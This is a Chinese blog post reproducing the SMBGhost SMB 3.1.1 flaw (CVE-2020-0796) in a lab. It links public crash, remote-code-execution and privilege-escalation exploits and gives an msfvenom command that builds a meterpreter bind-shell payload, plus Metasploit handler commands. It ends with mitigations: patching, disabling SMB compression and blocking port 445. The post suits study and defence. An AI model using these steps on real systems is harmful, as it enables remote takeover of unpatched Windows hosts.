CVE-2020-0796漏洞复现

漏洞描述:

SMB远程代码执行漏洞

SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。

漏洞原理:

Microsoft服务器消息块(SMB)协议是Microsoft Windows中使用的一项Microsoft网络文件共享协议。在大部分windows系统中都是默认开启的,用于在计算机间共享文件、打印机等。

Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。

利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。

影响范围:

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)

复现:

一、环境准备

目标机:windows10 1903 x64     ip:192.168.142.129 (关闭防火墙)

攻击机:kali    ip:192.168.142.128

windows10 1903 x64迅雷下载:https://sl-m-ssl.xunlei.com/h5/page/download-share/index.html?entry=link&appType=PC&videobtindex=-1&storid=c39vhtrekug5&share_from=dlpage_share_link

二、漏洞检测

工具下载:http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip

 

 

 

三、漏洞攻击-蓝屏

POC下载:https://github.com/eerykitty/CVE-2020-0796-PoC

利用POC发起攻击

 

 

 

win10 1903马上就蓝屏了

 

 

四、漏洞利用-getshell

脚本下载:https://github.com/chompie1337/SMBGhost_RCE_PoC

1、生成正向连接木马

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8888 -b '\x00' -i 1 -f python

 

 用生成的shellcode将exploit.py中的这一部分替换掉(buf后的字符串,保留USER_PAYLOAD不变)

 

 

 * * * 

Meterpreter的使用

bind_tcp

path : payload/windows/meterpreter/bind_tcp

正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST

reverse_tcp

path : payload/windows/meterpreter/reverse_tcp

反向连接shell,使用起来很稳定。需要设置LHOST

reverse_http/https

path:payload/windows/meterpreter/reverse_http/https

通过http/https的方式反向连接,在网速慢的情况下不稳定,https如果反弹没有收到数据,可以将监听端口换成443试试

 

 

 

 2、开启msf监听

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 8888 //监听端口
set rhost 192.168.142.129  //目标主机
run

 

 

4、运行exploit.py脚本,反弹shell

按道理来说,这里应该是反弹了一个shell的,可是!!!一直报错,参考原文是要将win10的内存调整到4个G以上,我也调了的,还是不行,只有后面再看看了,有知道的师傅指点指点(抱拳.jpg)

 

 

五、漏洞利用-本地提权

下载地址:https://github.com/danigargu/CVE-2020-0796/releases

如果提示找不到dll文件,那么在win10上安装个vc运行库就好了

 

 

六、漏洞加固

1、更新补丁

2、微软给出了临时的应对办法:
运行regedit.exe,打开注册表编辑器,在HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters建立一个名为DisableCompression的DWORD,值为1,禁止SMB的压缩功能。

3、将SMB445通信端口进行封禁

 

参考:

https://blog.csdn.net/weixin_44677409/article/details/106568350?fps=1&locationNum=2

https://mp.weixin.qq.com/s/SkjMVhFPSf8QsPe23cWjxQ

https://mp.weixin.qq.com/s?__biz=MzI4MDQ5MjY1Mg==&mid=2247485253&idx=2&sn=bbe1d8b38654668e28f6bfb2b79abfcc&chksm=ebb6e846dcc16150ab9332cf1c1bd7a8b869af6d409ea45e37c5534e773f1f23121b5ad6458f&mpshare=1&scene=23&srcid=&sharer_sharetime=1591324174884&sharer_shareid=0b96a5d25dcc39cabb6efb2cbd55269b#rd

https://blog.csdn.net/Adminxe/article/details/105917952?utm_medium=distribute.pc_relevant.none-task-blog-baidujs-4

https://blog.csdn.net/RatOnSea/article/details/106399450

 

posted @ 2020-06-06 20:28  xiaoxiaosen  阅读(728)  评论(7编辑  收藏